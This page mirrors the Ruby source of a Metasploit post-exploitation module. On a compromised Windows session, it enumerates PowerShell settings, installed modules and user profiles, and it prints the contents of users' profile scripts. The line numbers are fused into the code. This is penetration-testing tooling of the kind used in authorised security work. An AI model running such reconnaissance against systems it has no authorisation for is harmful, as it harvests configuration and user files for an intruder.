Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_powershell_env.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather PowerShell Environment Setting Enumeration',15'Description' => %q{ This module will enumerate Microsoft PowerShell settings. },16'License' => MSF_LICENSE,17'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],18'Platform' => [ 'win' ],19'References' => [20['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies'],21['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles'],22],23'SessionTypes' => %w[meterpreter shell powershell],24'Notes' => {25'Stability' => [CRASH_SAFE],26'Reliability' => [],27'SideEffects' => []28},29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32core_channel_eof33core_channel_open34core_channel_read35core_channel_write36stdapi_sys_config_getenv37stdapi_sys_config_getuid38]39}40}41)42)43end4445def enum_users46users = []4748system_drive = get_env('SystemDrive').to_s.strip4950path4users = ''51if directory?("#{system_drive}\\Users")52path4users = "#{system_drive}\\Users\\"53profilepath = '\\Documents\\WindowsPowerShell\\'54elsif directory?("#{system_drive}\\Documents and Settings")55path4users = "#{system_drive}\\Documents and Settings\\"56profilepath = '\\My Documents\\WindowsPowerShell\\'57else58print_error('Could not find user profile directories')59return []60end6162if is_system? || is_admin?63print_status('Running with elevated privileges. Extracting user list ...')64paths = begin65dir(path4users)66rescue StandardError67[]68end6970ignored = [71'.',72'..',73'All Users',74'Default',75'Default User',76'Public',77'desktop.ini',78'LocalService',79'NetworkService'80]81paths.reject { |p| ignored.include?(p) }.each do |u|82users << {83'username' => u,84'userappdata' => path4users + u + profilepath85}86end87else88u = get_env('USERNAME')89users << {90'username' => u,91'userappdata' => path4users + u + profilepath92}93end9495users96end9798def enum_powershell_modules99powershell_module_path = get_env('PSModulePath')100return [] unless powershell_module_path101102paths = powershell_module_path.split(';')103print_status('PowerShell Modules paths:')104modules = []105paths.each do |p|106print_status("\t#{p}")107108path_contents = begin109dir(p)110rescue StandardError111[]112end113path_contents.reject { |m| ['.', '..'].include?(m) }.each do |m|114modules << m115end116end117118modules119end120121def enum_powershell122unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')123print_error('PowerShell is not installed on this system.')124return125end126127print_status('PowerShell is installed on this system.')128129powershell_version = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine', 'PowerShellVersion')130print_status("Version: #{powershell_version}")131132powershell_policy = begin133registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'ExecutionPolicy')134rescue StandardError135'Restricted'136end137print_status("Execution Policy: #{powershell_policy}")138139powershell_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'Path')140print_status("Path: #{powershell_path}")141142if registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1').include?('PowerShellSnapIns')143print_status('PowerShell Snap-Ins:')144registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns').each do |si|145print_status("\tSnap-In: #{si}")146registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|147print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}", v)}")148end149end150else151print_status('No PowerShell Snap-Ins are installed')152end153154modules = enum_powershell_modules155if modules && !modules.empty?156print_status('PowerShell Modules:')157modules.each do |m|158print_status("\t#{m}")159end160else161print_status('No PowerShell Modules are installed')162end163164profile_file_names = [165'profile.ps1',166'Microsoft.PowerShell_profile.ps1',167'Microsoft.VSCode_profile.ps1',168]169170print_status('Checking if users have PowerShell profiles')171enum_users.each do |u|172print_status("Checking #{u['username']}")173174app_data_contents = begin175dir(u['userappdata'])176rescue StandardError177[]178end179app_data_contents.map!(&:downcase)180181profile_file_names.each do |profile_file|182next unless app_data_contents.include?(profile_file.downcase)183184fname = "#{u['userappdata']}#{profile_file}"185186ps_profile = begin187read_file(fname)188rescue StandardError189nil190end191next unless ps_profile192193print_status("Found PowerShell profile '#{fname}' for #{u['username']}:")194print_line(ps_profile.to_s)195end196end197end198199def run200hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']201print_status("Running module against #{hostname} (#{session.session_host})")202enum_powershell203end204end205206207